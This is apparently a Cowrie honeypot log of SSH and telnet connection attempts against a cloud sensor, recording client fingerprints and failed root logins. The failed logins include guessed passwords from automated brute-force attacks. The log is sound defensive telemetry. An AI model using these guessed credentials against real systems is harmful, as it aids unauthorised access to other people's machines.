{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:52.075325Z","src_ip":"103.149.170.125","session":"3a2908b205b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cyborg","message":"login attempt [root/cyborg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:52.898351Z","src_ip":"103.149.170.125","session":"3a2908b205b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:22:54.192833Z","src_ip":"103.149.170.125","session":"3a2908b205b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":44590,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d5ed4ab69d2","protocol":"ssh","message":"New connection: 38.93.206.2:44590 (159.203.135.109:22) [session: 2d5ed4ab69d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:05.257540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:05.263038Z","src_ip":"38.93.206.2","session":"2d5ed4ab69d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:05.317865Z","src_ip":"38.93.206.2","session":"2d5ed4ab69d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bdboys2016","message":"login attempt [root/bdboys2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:05.474216Z","src_ip":"38.93.206.2","session":"2d5ed4ab69d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:06.528706Z","src_ip":"38.93.206.2","session":"2d5ed4ab69d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":39158,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8b2881b5c7a","protocol":"telnet","message":"New connection: 79.139.59.21:39158 (159.203.135.109:23) [session: f8b2881b5c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:23:56.601161Z"}
{"eventid":"cowrie.session.closed","duration":43.627553939819336,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:40.228621Z","src_ip":"79.139.59.21","session":"f8b2881b5c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":58238,"dst_ip":"159.203.135.109","dst_port":22,"session":"a013b29e8430","protocol":"ssh","message":"New connection: 147.45.199.80:58238 (159.203.135.109:22) [session: a013b29e8430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:52.012567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:52.017819Z","src_ip":"147.45.199.80","session":"a013b29e8430","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:52.113633Z","src_ip":"147.45.199.80","session":"a013b29e8430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120688","message":"login attempt [root/120688] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:52.404783Z","src_ip":"147.45.199.80","session":"a013b29e8430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:24:53.503114Z","src_ip":"147.45.199.80","session":"a013b29e8430","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":47670,"dst_ip":"159.203.135.109","dst_port":23,"session":"b734c04a7ab6","protocol":"telnet","message":"New connection: 79.139.59.21:47670 (159.203.135.109:23) [session: b734c04a7ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:08.358178Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":54592,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e8490a34744","protocol":"ssh","message":"New connection: 94.159.98.239:54592 (159.203.135.109:22) [session: 7e8490a34744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:12.518135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:12.541736Z","src_ip":"94.159.98.239","session":"7e8490a34744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:12.653223Z","src_ip":"94.159.98.239","session":"7e8490a34744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spitfire","message":"login attempt [root/spitfire] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:13.217669Z","src_ip":"94.159.98.239","session":"7e8490a34744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:14.737102Z","src_ip":"94.159.98.239","session":"7e8490a34744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36616,"dst_ip":"10.17.0.5","dst_port":22,"session":"032c9f3207af","protocol":"ssh","message":"New connection: 109.237.96.109:36616 (10.17.0.5:22) [session: 032c9f3207af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:43.900292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:43.905326Z","src_ip":"109.237.96.109","session":"032c9f3207af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:43.999973Z","src_ip":"109.237.96.109","session":"032c9f3207af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola12","message":"login attempt [root/parola12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:44.275367Z","src_ip":"109.237.96.109","session":"032c9f3207af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:45.368186Z","src_ip":"109.237.96.109","session":"032c9f3207af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.13070225715637,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:26:59.488760Z","src_ip":"79.139.59.21","session":"b734c04a7ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":54900,"dst_ip":"159.203.135.109","dst_port":22,"session":"2db63b61c93e","protocol":"ssh","message":"New connection: 103.172.78.219:54900 (159.203.135.109:22) [session: 2db63b61c93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:27:18.109059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:27:18.116791Z","src_ip":"103.172.78.219","session":"2db63b61c93e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:27:18.377051Z","src_ip":"103.172.78.219","session":"2db63b61c93e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1313131313","message":"login attempt [root/1313131313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:27:19.150429Z","src_ip":"103.172.78.219","session":"2db63b61c93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:27:20.410917Z","src_ip":"103.172.78.219","session":"2db63b61c93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":47562,"dst_ip":"10.17.0.5","dst_port":22,"session":"071bff96b210","protocol":"ssh","message":"New connection: 103.77.242.62:47562 (10.17.0.5:22) [session: 071bff96b210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:28:31.787213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:28:31.797638Z","src_ip":"103.77.242.62","session":"071bff96b210","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:28:32.048421Z","src_ip":"103.77.242.62","session":"071bff96b210","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qw23er45t","message":"login attempt [root/1qw23er45t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:28:32.797992Z","src_ip":"103.77.242.62","session":"071bff96b210","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:28:34.048668Z","src_ip":"103.77.242.62","session":"071bff96b210","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60054,"dst_ip":"159.203.135.109","dst_port":22,"session":"93ccb2bd5acc","protocol":"ssh","message":"New connection: 80.66.85.226:60054 (159.203.135.109:22) [session: 93ccb2bd5acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:19.553868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:19.616444Z","src_ip":"80.66.85.226","session":"93ccb2bd5acc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:19.648530Z","src_ip":"80.66.85.226","session":"93ccb2bd5acc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kalinka","message":"login attempt [root/kalinka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:20.035255Z","src_ip":"80.66.85.226","session":"93ccb2bd5acc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:21.130026Z","src_ip":"80.66.85.226","session":"93ccb2bd5acc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe4f9f76b15","protocol":"ssh","message":"New connection: 121.168.139.251:35104 (10.17.0.5:22) [session: 2fe4f9f76b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:26.251143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:29:26.267192Z","src_ip":"121.168.139.251","session":"2fe4f9f76b15","protocol":"ssh"}
